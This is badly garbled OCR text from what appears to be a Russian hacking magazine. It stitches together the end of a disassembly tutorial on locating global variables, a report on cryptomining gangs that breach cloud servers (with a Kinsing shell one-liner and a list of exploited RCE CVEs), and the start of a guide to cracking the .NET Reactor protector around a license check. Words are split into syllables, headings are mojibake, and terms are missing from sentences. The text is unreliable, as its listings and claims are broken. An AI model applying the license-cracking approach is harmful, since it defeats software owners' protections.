щение, перепи сать его спра ва налево и... вмес те с полез ной информа цией
получить какое-то количес тво «мусора». Ведь не каж дое чис ло, сов пада ющее
по зна чению со сме щени ем гло баль ной перемен ной, обя зано быть ука зате- 
лем на эту перемен ную. К тому же  удов летво ряет, нап ример,
сле дующий кон текст:

04 B9 41 00

 

 

83EC  sub esp, 004 
0000 mov ecx, 000000041

04
B94100

Ошиб ка оче вид на — иско мое зна чение не явля ется опе ран дом инс трук ции,
более того, оно «зах ватило» сра зу две инс трук ции! Отбро сив все вхож дения,
пересе кающие гра ницы инс трук ции, мы сра зу же избавля емся от зна читель- 
ной час ти «мусора». Единс твен ная проб лема: как опре делить гра ницы инс- 
трук ций, по час ти инс трук ции о ней самой ска зать ничего нель зя.

Вот, нап ример, встре чает ся нам сле дующее: 

 Эту пос ледова тель ность, за вычетом пос ледне го нуля, мож но
интер пре тиро вать так: . Но если пред положить, что

 при над лежит «хвос ту» пре дыду щей коман ды, то получит ся сле дующее:

, а может быть, здесь и вов се нес коль ко
команд...

...8D 81 <b>04 B9 41 00
b> 00...

lea eax,[ecx+0x41B904]
0x8D
add d,[ecx][edi]*4,000000041

Са мый надеж ный спо соб опре деле ния гра ниц машин ных команд — трас- 
сирован ное дизас сем бли рова ние, но, к сожале нию, это чрез вычай но ресур- 
соем кая опе рация, и далеко не вся кий дизас сем блер уме ет трас сировать
код. Поэто му при ходит ся идти дру гим путем...

Об разно машин ный код мож но пред ста вить в виде машино пис ного тек ста,
напеча тан ного без про белов. Если поп робовать читать с про изволь ной
позиции, мы, ско рее все го, попадем на середи ну сло ва и ничего не пой мем.
Может быть, волей слу чая пер вые нес коль ко сло гов и сло жат ся в осмыслен- 
ное сло во (а то и в два!), но даль ше пой дет сплош ная чепуха. Нап ример:
мамыла раму. Ага, «мамы» — мно жес твен ное чис ло от «мама», под ходит?
Под ходит. Даль ше — лараму. «Лараму» — это что, народ ный индий ский герой
такой со мно жес твом родитель ниц? Ска жешь тоже, вот ерун да какая!

Сме щаем ся на одну бук ву впе ред, оставляя «м» пре дыду щему сло ву.
«А» — что ж, впол не воз можно, это и есть союз «А», тем более что за ним идет
осмыслен ное мес тоиме ние «мы», получа ется «А мы Лараму» или «А мы Лара
Му». Кто такой этот Лараму?

Сдви гаем ся еще на одну бук ву и чита ем «мыла», а за ним «раму». Зарабо- 
тало! А «ма», ста ло быть, хвост от «мама».

Вот при мер но так чита ется и машин ный код, при чем эта ана логия весь ма
адек ватна. Сло во (рус ское) не может начинать ся с некото рых букв (нап ример,
с ы, мяг кого и твер дого зна ков), сущес тву ют харак терные суф фиксы и окон- 
чания с сочета нием букв, прак тичес ки не встре чающих ся в дру гих час тях
пред ложения. Соот ветс твен но, видя в кон це нес коль ко иду щих под ряд нулей,
мож но с высокой сте пенью уве рен ности утвер ждать, что это непос редс твен- 
ное зна чение, а непос редс твен ные зна чения рас полага ются в кон це.

Îòëè÷èÿ êîíñòàíò îò óêàçàòåëåé, èëè ïðîäîëæàåì ðàçãðåáàòü

ìóñîð

Вот наконец мы изба вились от лож ных сра баты ваний, бес смыс ленность
которых оче вид на с пер вого взгля да. Куча мусора замет но при умень шилась,
но... в ней все еще про дол жают встре чать ся такие штуч ки, как 

. Что такое  — кон стан та или сме щение? С рав ным успе- 

хом может быть и то и дру гое. Пока не доберем ся до манипу лиру юще го с ней
кода, мы вооб ще не смо жем ска зать ничего вра зуми тель ного. Если манипу- 
лиру ющий код обра щает ся к  по зна чению — это кон стан та
(выража ющая, нап ример, ско рость уле петы вания Пятач ка от Сло нопо тама),
а если по ссыл ке — это ука затель (в дан ном кон тек сте сме щение).

PUSH 
0x401010 0x401010

0x401010

Под робнее эту проб лему мы еще обсу дим в раз деле «Иден тифика ция кон- 
стант и сме щений», пока же заметим, что минималь ный адрес заг рузки фай ла
в Windows NT равен .0x10000

Êîñâåííàÿ àäðåñàöèÿ ãëîáàëüíûõ ïåðåìåííûõ

До воль но час то при ходит ся слы шать утвер жде ние, что гло баль ные перемен- 
ные всег да адре суют ся непос редс твен но (исклю чая, конеч но, ассем блер ные
встав ки, на ассем бле ре прог раммист может обра щать ся к перемен ным,
как захочет). На самом же деле все далеко не так... Если гло баль ная
перемен ная переда ется фун кции по ссыл ке (а почему бы прог раммис ту
не передать гло баль ную перемен ную по ссыл ке?), она будет адре совать ся
кос венно — через ука затель.

Ав тору могут воз разить: а зачем вооб ще явно переда вать гло баль ную
перемен ную фун кции? Любая фун кция и без это го может к ней обра тить ся.
Автор не спо рит. Да, может, но толь ко если зна ет об этом заранее. Вот, ска- 
жем, есть у нас фун кция , обме нива ющая свои аргу мен ты мес тами,
и есть две гло баль ные перемен ные, которые нам позарез прис пичило обме- 
нять. Фун кции  дос тупны все гло баль ные перемен ные, но она не зна ет,

какие из них необ ходимо обме нивать (и необ ходимо ли это вооб ще), вот
и при ходит ся ей явно переда вать гло баль ные перемен ные как аргу мен ты.
А это зна чит, что всех обра щений к гло баль ным перемен ным прос тым кон- 
текс тным поис ком мы не най дем. Самое печаль ное — не най дет их и IDA Pro.
Да и как бы она мог ла их най ти? Для это го ей пот ребовал ся бы пол ноцен ный
эму лятор про цес сора или хотя бы основных команд, в чем мы и убе дим ся
в сле дующем при мере, который демонс три рует явную переда чу гло баль ных
перемен ных:

xchg

xchg

#include <stdio.h>

    int a; int b; // Глобальные переменные a и b

// Функция, обменивающая значения аргументов
     void xchg(int *a, int *b) {

  int c;
 //  Косвенное обращение к аргументам по указателю
   c = *a;
   *a = *b;
   *b = c;
 // Если аргументы функции — глобальные переменные,
 // то они будут адресоваться не прямо, а косвенно
}

  int main() {
   a = 0x666;
    b = 0x777; // Здесь непосредственное обращение к глобальным 
переменным

   printf("%x <> %x\n", a, b);// Первоначальные значения

   xchg(&a, &b); // Передача глобальных переменных по ссылке

   printf("%x <> %x", a, b);// Значения после обмена
}

Вы вод прог раммы pass_global_vars

Ре зуль тат ком пиляции Microsoft Visual C++ дол жен выг лядеть так:

 main            proc near
; Заметь, ни одной локальной переменной
; Инициализация стека

                     sub rsp, 28h
; В двух последующих командах выполняется инициализация двух 
глобальных переменных

                      mov cs:int a, 666h
                      mov cs:int b, 777h

На то, что это дей стви тель но гло баль ные перемен ные, ука зыва ет наличие
сег мента перед их име нами.

Сле дующие три инс трук ции раз меща ют парамет ры в регис трах
для переда чи их фун кции: чис ло1, чис ло2, ука затель на фор матную стро ку.

       mov r8d, cs:int b
                  mov edx, cs:int a
                     lea rcx, _Format ; "%x <> %x\n"

; Вывод на эмулятор терминала начальных значений
               call printf

В регис тры  и  для переда чи парамет ров фун кции  помеща ются
адре са чис ловых гло баль ных перемен ных, дру гими сло вами — переда ются
ссыл ки на них. Это зна чит, что вызыва емая фун кция будет обра щать ся
к перемен ным кос венно, через ука зате ли, точ но так же, как она обра щает ся
с локаль ными перемен ными.

RCX RDX xchg

       lea rdx, int b      ; b
                  lea rcx, int a      ; a

; Вызов функции обмена значениями
                 call xchg(int *,int *)

Так как резуль таты воз вра тились по тем же самым адре сам, зна чения копиру- 
ются из тех же самых перемен ных в регис тры для переда чи фун кции ...printf

       mov r8d, cs:int b
                  mov edx, cs:int a

; ...форматная строка
                     lea rcx, aXX_0      ; "%x <> %x"

; Вывод на эмулятор терминала значений после обмена
                   call printf

; Возвращение нуля
                     xor eax, eax

; Деинициализация стека
                     add rsp, 28h

               retn
main            endp

      void xchg(int *, int *) proc near
; Переменная и два параметра

   var_18          = dword ptr -18h
    arg_0           = qword ptr 8
    arg_8           = qword ptr 10h

; Инициализация параметров arg_0 и arg_8 значениями из регистров
                     mov [rsp+arg_8], rdx
                     mov [rsp+arg_0], rcx

; Выделение памяти для стека
                     sub rsp, 18h

; Загрузка в RAX содержимого параметра arg_0
                     mov rax, [rsp+18h+arg_0]

Смот ри — кос венное обра щение к гло баль ной перемен ной! А еще говорят,
буд то бы таких не быва ет! Разуме ется, опре делить, что обра щение про исхо- 
дит имен но к гло баль ной перемен ной (и какой имен но гло баль ной перемен- 
ной), мож но толь ко ана лизом кода вызыва ющей фун кции.

Ад рес парамет ра  помеща ется в , заменяя собой зна чение

 в . При этом, заметь, ори гиналь ное зна чение  все еще хра- 
нит ся в памяти.

arg_0 EAX
arg_0 RAX arg_0

      mov eax, [rax]

; Копируем адрес arg_0 в локальную переменную var_18 (единственную 
локальную переменную)

                     mov [rsp+18h+var_18], eax
; Загружаем в RAX содержимое параметра arg_0

                     mov rax, [rsp+18h+arg_0]
; Загружаем в RCX содержимое параметра arg_8

                     mov rcx, [rsp+18h+arg_8]
; Помещаем в ECX адрес arg_8, тем самым затирая сам arg_8

                     mov ecx, [rcx]
; На место адреса параметра arg_0 помещаем адрес параметра arg_8

                     mov [rax], ecx
; Загружаем в RAX значение arg_8

                     mov rax, [rsp+18h+arg_8]
; Загружаем в ECX содержимое локальной переменной var_18

                     mov ecx, [rsp+18h+var_18]

По адре су  раз меща ем зна чение локаль ной перемен ной , а в

ней находит ся адрес парамет ра .

arg_8 var_18
arg_0

      mov [rax], ecx

; Очистка стека
                     add rsp, 18h

               retn
     void xchg(int *, int *) endp

Неп ростой при мер чик получил ся, что неуди витель но, с ука зате лями всег да
надо быть начеку. Одна ошиб ка, и все полетит в тар тарары!

IDA наш ла все ссыл ки на обе гло баль ные перемен ные:

 

 

.data:000000014000362C ; int b 

.data:000000014000362C int b    dd ? ; DATA XREF: main+E  

.data:000000014000362C               ; main+18  ... 

.data:0000000140003630 ; int a 

.data:0000000140003630 int a    dd ? ; DATA XREF: main+4  

.data:0000000140003630               ; main+1F  ...

w
r

w
r

Пер вые две:  и  — на код ини циали зации ( rite).• main+4w main+Ew w

Вто рые две:  и  — на код чте ния зна чения ( ead).• main+1Fr main+18r r

Ес ли сре ди перек рес тных ссы лок на гло баль ную перемен ную при сутс тву ют
ссыл ки с суф фиксом , обоз нача ющие взя тие сме щения (ана лог ассем блер- 

ной дирек тивы ), то сра зу же вски дывай ушки на макуш ку — раз при- 

сутс тву ет , зна чит, име ет мес то переда ча гло баль ной перемен ной
по ссыл ке. А ссыл ка — это кос венная адре сация. А кос венная адре сация —
это лас ты: уто митель ный «руч ной» ана лиз и никаких чудес прог ресса.

о
offset

offset

Ñòàòè÷åñêèå ïåðåìåííûå

Ста тичес кие перемен ные — это раз новид ность гло баль ных перемен ных, но с
огра ничен ной областью видимос ти: они дос тупны толь ко из той фун кции,
в которой и были объ явле ны. Во всем осталь ном ста тичес кие и гло баль ные
перемен ные пол ностью сов пада ют — обе раз меща ются в сег менте дан ных,
обе непос редс твен но адре суют ся (исклю чая слу чаи обра щения через ссыл- 
ку), обе...

В общем, есть лишь одна сущес твен ная раз ница — к гло баль ной
перемен ной могут обра щать ся любые фун кции, а к ста тичес кой — толь ко
одна. А как нас чет гло баль ных перемен ных, исполь зуемых лишь одной фун- 
кци ей? Да какие же это гло баль ные перемен ные?! Это не гло баль ность,
это кри вость исходно го кода прог раммы. Если перемен ная исполь зует ся
лишь одной фун кци ей, нет никакой необ ходимос ти объ являть ее гло баль ной!

Вся кая непос редс твен но адре суемая ячей ка памяти — гло баль ная (ста- 
тичес кая) перемен ная, но не вся кая ста тичес кая (гло баль ная) перемен ная
всег да адре сует ся непос редс твен но.

ÇÀÊËÞ×ÅÍÈÅ

Целью сегод няшних упражне ний с дизас сем бле ром было научить ся опре- 
делять все воз можные типы перемен ных, узнать раз нооб разие их поведе ния,
что бы при «боевом» ана лизе сра зу отнести най ден ные перемен ные к опре- 
делен ным катего риям. Учи тывая срок жиз ни перемен ной, мес та ее оби тания,
спо собы переда чи, мож но сущес твен но упростить свою работу по вос ста нов- 
лению алго рит ма лома емой прог раммы, выделив толь ко те перемен ные,
которые исполь зуют ся в кон крет ный момент ее выпол нения. Выбери сам,
хочет ся ли тебе сле дить за доб рой сот ней перемен ных или, раз делив их
на клас сы, сле дить толь ко за малой частью из них. Ответ нап рашива ется сам.
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ВЗЛОМ

Эпо ха «золотой лихорад ки» в нише крип товалют дав но
прош ла, и кибер кри минал соот ветс тву ющим обра зом отре- 
аги ровал на это. Май нинг крип товалют с исполь зовани ем
вре донос ного ПО сегод ня выгоден толь ко в очень боль ших
мас шта бах, поэто му вирусо писа тели раз ными спо соба ми
ста рают ся рас ширить свою деятель ность и уве личить при- 
быль. Ком пания  про вела иссле дова ние
о деятель нос ти таких груп пировок и подели лась пред- 
варитель ными резуль татами с нами.

Trend Micro

×ÅÌ ÎÏÀÑÍÛ ÊÐÈÏÒÎÌÀÉÍÅÐÛ?

Май нинг крип товалют нам ного менее выгоден, чем кра жа кон фиден циаль ной
информа ции и рас простра нение вымога телей, поэто му основной целью
кибер прес тупни ков ста новят ся не инфи циро ван ные машины конеч ных поль- 
зовате лей, а облачные сер висы. Наиболь шей популяр ностью у зло умыш- 
ленни ков поль зует ся крип товалю та Monero (XMR), пос коль ку она поз воля ет
получать мак сималь ную отда чу при май нин ге с исполь зовани ем CPU по срав- 
нению с дру гой крип той. Выбор объ ясня ется еще и тем, что боль шинс тво
облачных сер висов не пре дос тавля ют дос тупа к гра фичес ким про цес сорам
и ресур сы обыч ного про цес сора ста новят ся единс твен ным инс тру мен том
май нин га. При этом груп пиров ки активно кон куриру ют меж ду собой: спе- 
циалис ты по информа цион ной безопас ности срав нива ют эту борь бу
за ресур сы с кибер турни рами катего рии Capture the Flag. В сво ем иссле дова- 
нии экспер ты Trend Micro про ана лизи рова ли деятель ность груп пировок
Outlaw, TeamTNT, Kinsing, 8220 и Kek Security, которые про явля ют наиболь шую
активность в ата ках на облачные сер висы.

Пе ренос инфраструк туры в обла ка — оче вид ная тен денция пос ледних лет,
пос коль ку такая миг рация поз воля ет ком пани ям эко номить зна читель ные
средс тва на обо рудо вании и его обслу жива нии. В то же вре мя раз верты вание
облачных сер висов тре бует зат рат на их нас трой ку и адми нис три рова ние,
преж де все го что бы обес печить безопас ность. Мно гие фир мы эко номят и на
этом. Зна читель ное чис ло сис темных адми нис тра торов хорошо зна комо
с инс тру мен тари ем для защиты локаль ной инфраструк туры, нап ример бран- 
дма уэра ми и анти виру сами, но эти спе циалис ты стал кива ются с недос татком
зна ний и прак тики, ког да речь заходит об облачных сер висах. Кро ме того,
если в обла ке не уста нов лены и не нас тро ены средс тва монито рин га
и логиро вания, адми нис тра тор не получа ет того же объ ема информа ции,
который дос тупен ему в локаль ной сис теме, из-за чего может не заметить
ата ку. Законо мер ным резуль татом ста новит ся взлом, и исполь зование ском- 
про мети рован ного обла ка для май нин га крип товалют зачас тую мож но наз- 
вать наимень шим из воз можных зол.

Пос коль ку кон фигура ция у мно гих облачных сер висов стан дарти зиро вана,
а нас трой ки по умол чанию не явля ются сек ретом (да еще и неп лохо докумен-
тирова ны), зло умыш ленни кам не нуж но тра тить чрез мерные уси лия на раз- 
ведку и взлом, не тре бует ся и какой-то изощ ренный инс тру мен тарий. С одной
сто роны, кажет ся, что про ник новение в облачную сис тему тро яна-май нера
не пред став ляет серь езной угро зы, пос коль ку не при водит к утеч ке дан ных
и наруше нию целос тнос ти инфраструк туры. С дру гой сто роны, это вле чет
за собой замед ление работы сер висов, недоволь ство и отток кли ентов и,
как следс твие, падение при были. Ну и если сис тема уяз вима, нич то
не помеша ет зло умыш ленни кам вос поль зовать ся этой уяз вимостью и куда
более дес трук тивно.

В иссле дова тель ских целях спе циалис ты Trend Micro уста нови ли прог- 
рамму для добычи Monero — XMRig — на тес товый облачный сер вер, парал- 
лель но наг ружен ный дру гими задача ми, и отме тили рост наг рузки на про цес- 
сор от 13 до 100%. В денеж ном выраже нии это озна чает повыше ние рас- 
ходов на арен ду такого сер вера с 20 до 130 дол ларов в месяц.

Отоб ражение наг рузки на сер вер с XMRig в монито ре про цес сов Htop

Од новре мен но с рос том наг рузки на CPU уве личи вает ся и объ ем сетево го
тра фика, но рас ходы на него нез начитель ны на фоне общих зат рат.

Не ред ко дос туп к взло ман ному облачно му сер веру выс тавля ется зло- 
умыш ленни ками на про дажу, а май нер залива ют в обла ко на вре мя, пока
товар «ждет сво его покупа теля». Потому обна руже ние такого тро яна — очень
пло хой приз нак. В боль шинс тве слу чаев это пос ледний шанс разоб рать ся
с проб лемами безопас ности, преж де чем взлом щики исполь зуют ском про- 
мети рован ный сер вер с какими-нибудь дру гими недоб рыми намере ниями.

ÒÅÕÍÎËÎÃÈß ÂÇËÎÌÀ È ÃÐÓÏÏÈÐÎÂÊÈ

Как пра вило, кибер прес тупни ки получа ют дос туп к облачной инфраструк туре
по SSH, исполь зуя нас трой ки по умол чанию, извес тные уяз вимос ти или лег ко
уга дыва емые пароли — методом брут форса. Затем на сер вер уста нав лива- 
ется XMRig, который под клю чает ся к май нин говому пулу.

Outlaw

Так, спе циалис ты Trend Micro начали сле дить за груп пиров кой Outlaw в нояб- 
ре 2018 года. Имя она получи ла бла года ря перево ду на англий ский язык
румын ско го наз вания основно го инс тру мен та, который исполь зует груп па, —
haiduc. Пер воначаль но Outlaw спе циали зиро вались на взло ме IoT-устрой ств
и Linux-сер веров с помощью экс плу ата ции извес тных уяз вимос тей и брут- 
форса SSH-дос тупа. Пос ле взло ма в сис тему уста нав ливал ся IRC-бот haiduc,
соз данный при помощи Perl Shellbot. Он помогал зло умыш ленни кам уда лен но
управлять зах вачен ной сис темой. Ском про мети рован ное устрой ство
или сер вер мог ли исполь зовать для май нин га Monero или для DDoS-атак.

За вре мя, в течение которо го ведет ся наб людение за деятель ностью груп- 
пы, исполь зуемый ею инс тру мен тарий прак тичес ки не изме нил ся — преж де
все го потому, что в отли чие от сер веров и хос тов под управле нием Windows
тех нология защиты облачных сер висов так же менялась нез начитель но
и испы тан ные инс тру мен ты раз за разом доказы вали свою эффектив ность.
Единс твен ное отли чие от прош лых лет, замечен ное ана лити ками, — при мер- 
но пос ле 2019 года взлом щики из Outlaw ста ли уста нав ливать на ском про- 
мети рован ные сис темы скрипт, который уда ляет май неры дру гих кон куриру- 
ющих хакер ских групп и даже более ран ние вер сии их собс твен ных вре донос- 
ных прог рамм. Нес коль ко раз менял ся и IP-адрес управля юще го сер вера:
пос ледний исполь зует ся с 2021 года, что опять же слу жит приз наком ста- 
биль нос ти это го кри миналь ного биз неса.

IRC-бот, с помощью которо го Outlaw управля ет заражен ными IoT-устрой- 
ства ми, отчасти опи рает ся на исходни ки дру гого Perl Shellbot’а — Kippo,
который исполь зовал ся в бот нетах румын ской хакер ской груп пиров ки
TEAMUL MaLaSorTe еще в 2013 году. Свя зана ли Outlaw с TEAMUL MaLaSorTe
или прос то поза имс тво вала у кол лег исходни ки мал вари — оста ется толь ко
догады вать ся.

Часть исходни ков Kippo от TEAMUL MaLaSorTe

TeamTNT

Ко ман да TeamTNT попала в поле зре ния спе циалис тов по кибер безопас ности
в 2020 году. Пос ле успешно го взло ма сер вера хакеры из TeamTNT пыта ются
украсть дан ные для ком про мета ции дру гих служб, что бы зах ватить новые сер- 
висы в сети. В сфе ре их инте ресов — обла ка AWS, отку да взлом щики кра дут
клю чи и токены Ngrok. При этом TeamTNT активно пиарит ся в соц сетях,
по край ней мере учас тни ки груп пы под никами Hilde и Hildegard ведут акка- 
унты в твит тере, где ком менти руют иссле дова ния их атак анти вирус ными ком- 
пани ями и ука зыва ют на при писы ваемые TeamTNT инци ден ты, к которым
груп па не име ет отно шения.

Оп ределен ную уни каль ность деятель нос ти TeamTNT при дает то, что эта
коман да час то выбира ет в качес тве жертв сер веры и хос ты, ранее ском про- 
мети рован ные их кон курен тами, в час тнос ти хакер ской груп пой Kinsing. Пос ле
про ник новения в сис тему взлом щики оставля ют в ней не толь ко май неры,
но и сооб щения для адми нис тра торов взло ман ного хос та, в которых пред- 
лага ют жер твам помочь устра нить уяз вимос ти, при вед шие к взло му.

При мер «дру жес кого пос лания» от TeamTNT адми нис тра торам взло ман -
ного хос та

Ис сле дова тели счи тают, что, нес мотря на такое «робин гудс тво», TeamTNT
более опас на, чем дру гие груп пиров ки, пос коль ку не прос то раз меща ет май- 
неры на взло ман ных хос тах, а пыта ется так же ском про мети ровать все сер- 
висы, работа ющие от име ни взло ман ной учет ной записи (базы дан ных,
веб-сай ты и облачные при ложе ния), и иног да бло киру ет учет ки легитим ных
поль зовате лей сер виса. Так же эти хакеры замече ны за уста нов кой на взло- 
ман ные сис темы рут китов, приз ванных скрыть работу май неров в инфи циро- 
ван ной сис теме. Некото рое вре мя назад пред ста вите ли TeamTNT заяви ли
о прек ращении деятель нос ти груп пы, но у спе циалис тов по информа цион ной
безопас ности есть опре делен ные сом нения в прав дивос ти подоб ных заяв- 
лений.

Kinsing

Груп пиров ка Kinsing активно дей ству ет с 2021 года. Получив дос туп
к облачно му сер веру, хакеры из Kinsing уста нав лива ют в сис теме май нер
XMRig, уда ляют вре донос ное ПО дру гих хакер ских групп и добав ляют в cron
задачу на заг рузку и уста нов ку шелл-скрип та, с помощью которо го они
управля ют взло ман ной сис темой. Имен но бла года ря это му деятель ность
груп пы было доволь но лег ко иден тифици ровать через ана лиз жур налов cron,
пос коль ку хакеры либо не уме ли заметать сле ды, либо поп росту не заботи- 
лись об этом.

В пос леднее вре мя взлом щики из Kinsing изме нили так тику. Во-пер вых,
они объ еди нили набор ранее исполь зуемых шелл-скрип тов в один, имя
которо го генери рует ся сле дующей коман дой:

  +%s  $(date|md5sum|awk -v n="$(date )" '{print substr($1,1,n%7+6)}')

Вре донос ные задачи cron теперь могут быть запуще ны из раз ных дирек торий
внут ри сер вера с раз ными име нами фай лов.

При мер вре донос ного скрип та, исполь зуемо го Kinsing

Кро ме того, ребята из Kinsing научи лись при бирать за собой — теперь пос ле
запус ка май нера из логов уда ляют ся сле ды уста нов ки вре донос ного ПО.
Kinsing исполь зует акту аль ный набор экс пло итов, который регуляр но
обновля ется, то есть хакеры «дер жат руку на пуль се». Спе циалис ты Trend
Micro отме чали нес коль ко инци ден тов, ког да на хост, взло ман ный Kinsing,
про ника ли хакеры из груп пиров ки 8220, но Kinsing уда валось опе ратив но
выкинуть их с хос та и уда лить уста нов ленные ими май неры. Подоб ное пов- 
торялось нес коль ко раз, при этом ини цииро ван ный Kinsing про цесс май нин га
не пре рывал ся ни на минуту.

8220

Эта груп па про явля ла наиболь шую активность в течение пос ледне го года.
Она исполь зует самые акту аль ные уяз вимос ти облачных сер висов, при этом
одной из харак терных целей груп пиров ки явля ется Oracle WebLogic Server.
Хакеры 8220 взла мыва ют уяз вимый сер вер WebLogic, а затем раз верты вают
на нем май нер XMRig и Tsunami — тро ян для ска ниро вания и выпол нения
DDoS-атак. Что бы оста вать ся в сис теме, зло умыш ленни ки нас тра ивают
задания в cron.

Ис сле дова тели отме чают, что 8220 и Kinsing ведут активную борь бу за уяз- 
вимые сер веры, изго няют друг дру га из ском про мети рован ных сис тем и уда- 
ляют уста нов ленное кон курен тами вре донос ное ПО. В отли чие от TeamTNT,
8220 и Kinsing прак тичес ки не пред став лены на под поль ных форумах и не
ведут акка унтов в соц сетях — может, потому, что не ищут популяр ности,
а воз можно, прос то счи тают, что май нинг любит тишину.

Kek Security

В янва ре 2021 года иссле дова тели из Imperva опуб ликова ли отчет о новом
бот нете, в котором исполь зовал ся написан ный на Python IRC-бот под наз- 
вани ем Necro. По сво им фун кци ям этот бот в целом похож на haiduc, при- 
меня емый Outlaw, и может исполь зовать ся для май нин га крип товалю ты
и про веде ния DDoS-атак. За рас простра нени ем Necro сто ит хакер ская груп- 
па Kek Security. Эта груп пиров ка очень быс тро интегри рует в свой софт новые
экс пло иты, пос тоян но обновля ет свое вре донос ное ПО.

По мимо облачных сер висов и Linux-сер веров, Kek Security активно ата кует
и хос ты под управле нием Windows, что ста ло воз можным бла года ря исполь- 
зуемо му хакера ми чрез вычай но широко му арсе налу. В нем, в час тнос ти,
замече ны экс пло иты для сле дующих уяз вимос тей:

CVE-2020-14882: уяз вимость RCE в Oracle Weblogic Server;•
CVE-2020-28188: TerraMaster TOS RCE;•
CVE-2021-3007: Zend Framework RCE;•
CVE-2020-7961: RCE через JSON Web Services для Liferay Portal;•
CVE-2021-21972: RCE для сер вера VMware vCenter;•
CVE-2021-29003: RCE в Genexis Platinum 4410 2.1 P4410-V2-1.28.•

Ком мента рий в коде на Python, обна ружен ный в одной из ран них вер сий
исполь зуемо го Kek Security бота, поз воля ет иден тифици ровать псев доним
веро ятно го авто ра мал вари: рань ше его свя зыва ли с дру гими вре донос ными
прог рамма ми, в том чис ле тро яна ми для IoT. Затем автор занял ся соз дани ем
и запус ком собс твен ных бот нетов.

Тот самый ком мент

При меня емый этой груп пиров кой софт неп рерыв но обновля ется и совер- 
шенс тву ется: так, спе циалис ты отме чают, что код пос ледних вер сий бота
обфусци рован, при чем Kek Security исполь зуют собс твен ный обфуска тор,
написан ный на Python.

ÁÈÒÂÛ Â ÎÁËÀÊÀÕ

Фак тичес ки пол ное отсутс твие пол ноцен ной защиты на уяз вимых облачных
сер верах, а так же то, что ата кующие их груп пиров ки исполь зуют прак тичес ки
один и тот же набор экс пло итов, при водит к жес ткой кон курен ции меж ду
ними. Уже упо мяну тые «бит вы в обла ках» за ресур сы меж ду 8220 и Kinsing —
толь ко один из мно жес тва подоб ных при меров. Прак тичес ки все перечис-
ленные хакер ские груп пы, помимо соф та для май нин га и DDoS, исполь зуют
скрип ты, вычища ющие на ском про мети рован ном сер вере ПО кон курен тов.
По боль шому сче ту такие сце нарии пред став ляют собой при митив ный анти- 
вирус.

Час то в целях про тиво дей ствия этим скрип там зло умыш ленни ки меня ют
пап ки, из которых запус кают ся май неры, и име на про цес сов. Одна ко со вре- 
менем «анти вирус ные» сце нарии кор ректи руют ся и это пре иму щес тво теря- 
ется. Час то одна и та же груп па выс тупа ет одновре мен но и в роли ата кующе- 
го, и в роли защища юще гося. Даль ше все го в алго рит мах защиты прод- 
винулись Kinsing: они запус кают май нер в памяти, затем уда ляют свои фай лы
кон фигура ции и генери руют шес тизнач ное имя фай ла, при этом сам файл
может рас полагать ся в раз ных дирек тори ях. В резуль тате, ког да, нап ример,
хакеры из груп пы 8220 пов торно взло мают хост, они не смо гут най ти и уда- 
лить май нер Kinsing, а вот скрипт Kinsing успешно уда лит ПО 8220 пос ле сле- 
дующе го обновле ния.

По ка эти две груп пы ведут боевые дей ствия, Outlaw избе гает их, ста раясь
выбирать дру гие цели для атак, хотя тоже исполь зует инс тру мен тарий
для уда ления кон куриру ющих май неров. Такие инс тру мен ты есть и у Kek
Security, прав да, эта груп пиров ка ред ко всту пает в кон фрон тацию. Чего
не ска жешь о TeamTNT — хакеры из этой груп пы не толь ко уда ляют софт дру- 
гих взлом щиков, но и пред лага ют услу ги по защите ском про мети рован ной
сис темы от уяз вимос тей. При этом они неред ко обра щают ся к дру гим груп- 
пиров кам через твит тер.

ÇÀÊËÞ×ÅÍÈÅ

Са мыми активны ми из рас простра няющих май неры груп пировок в 2021 году
были Kinsing и 8220, хотя осталь ные тоже не сидят сло жа руки.

Ак тивность хакер ских груп пировок в янва ре — августе 2021 года

Для защиты от подоб ных атак спе циалис ты по информа цион ной безопас- 
ности рекомен дуют, во-пер вых, вов ремя уста нав ливать все акту аль ные
обновле ния ПО, а во-вто рых, убе дить ся, что на облачном сер вере работа ют
толь ко те служ бы, которые необ ходимы. Боль шинс тво исполь зуемых хакер- 
ски ми груп пиров ками уяз вимос тей при сутс тву ет в уста рев ших вер сиях ПО,
и сво евре мен ное обновле ние может зак рыть эту дыру в безопас ности.

Од нако даже если все обновле ния уста нов лены, зло умыш ленни ки могут
исполь зовать пло хо нас тро енные сер висы (нап ример, от Docker
и Kubernetes) — в час тнос ти, этот век тор атак экс плу ати рует TeamTNT. API-
интерфей сы не дол жны быть дос тупны в интерне те, так как это дает зло умыш- 
ленни кам воз можность управлять сер висами. Вмес то это го дос туп дол жен
быть огра ничен толь ко для адми нис тра торов и нес коль ких поль зовате лей.

Ну и конеч но же, не сле дует оставлять вклю чен ными служ бы с нас трой- 
ками по умол чанию. Рекомен дует ся исполь зовать в облачной инфраструк туре
бран дма уэры, а так же сис темы обна руже ния и пре дот вра щения втор жений
(IDS/IPS) и про дук ты для обес печения безопас ности эндпой нтов, которые
могут огра ничи вать и филь тро вать сетевой тра фик. Если в облачной
инфраструк туре име ется воз можность филь тро вать тра фик, име ет смысл
бло киро вать домены, свя зан ные с извес тны ми пулами май нин га, спис ки
которых нет рудно най ти в сети.

WWW
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НЕЯДЕРНЫЙ
РЕАКТОР

ВЗЛАМЫВАЕМ ПРОТЕКТОР
.NET REACTOR

МВК

ВЗЛОМ

Для защиты при ложе ний .NET от отладки и ревер са сущес- 
тву ет мно жес тво спо собов (шиф рование, ком прес сия и дру- 
гие), а так же спе циаль ных про тек торов, таких как, нап ример,
Agile.Net и Enigma. О взло ме мно гих из них мы уже .
Сегод ня я рас ска жу, как побороть еще один популяр ный
про тек тор и обфуска тор — .NET Reactor.

пи сали

Итак, пред ста вим себе такую гипоте тичес кую задачу: у нас име ется некое
при ложе ние с онлайн-про вер кой лицен зии при заг рузке. Его ана лиз
при помощи DIE детек тит наличие плат формы .NET. Заг рузив прог рамму
в отладчик dnSpy, обна ружи ваем сра зу две вещи: пло хую и хорошую. Нач ну
с пло хой: при ложе ние жес токо обфусци рова но, часть методов пере име нова- 
на в бес смыс ленный набор сим волов, а глав ное, вмес то их кода пов сюду пус- 
тые заг лушки.

При ложе ние в отладчи ке dnSpy

Для очис тки совес ти про буем сдам пить при ложе ние спо соба ми, опи сан ным
в моей , — это час тень ко помога ет вос ста новить скры тый
код методов. Увы, не в нашем слу чае: сдам плен ные модули работос пособ ны,
но несиль но отли чают ся от исходных. Обфуска ция никуда не делась, тела
методов все рав но пус тые.

пре дыду щей статье

Воз вра щаем ся в отладчик dnSpy и про буем пот расси ровать работа ющую
